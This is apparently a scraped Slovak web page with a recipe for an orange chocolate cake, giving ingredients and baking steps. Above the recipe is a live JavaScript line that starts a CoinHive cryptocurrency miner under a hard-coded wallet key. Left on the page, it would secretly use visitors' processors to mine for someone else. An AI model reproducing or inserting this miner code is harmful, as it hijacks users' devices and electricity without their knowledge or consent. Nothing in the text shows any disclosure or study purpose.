var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 6 vajec, 250 g čokolády (odporúčam 70% kakao), 125 g maslo, 175 g pieskový cukor (krupica), pomarančová kôra, trochu pomarančového likéru (Cointreau, prírodný rum), vyšľahaná šľahačka (najlepšie tortová).

Postup: Čokoládu rozpustíme vo vodnom kúpeli a potom do nej vmiešame zmäknuté maslo. 4 vajíčka rozdelíme na bielka a žĺtka. Do žĺtok pridáme ešte 2 celé vajcia a 75 g cukru a vymiešame a potom ešte primiešame pomarančovú kôru a Cointreau. Do tejto zmesi pridáme zmes čokolády a masla. Nakoniec sem vmiešame bielky, ktoré spočiatku šľaháme samotné a neskôr do nich pridáme 100 g cukru a došľaháme. Celú túto zmes vylejeme do tortovej formy vyloženej papierom na pečenie. Pečieme spočiatku pri teplote 180^{0}C, neskôr na veľmi slabom stupni a ešte aj prikryjeme zvrchu, aby cesto príliš nestmavlo. Celkový čas pečenia je cca 35 min. Na vychladnutú tortu dáme vyšľahanú šľahačku (ja trochu prisladím).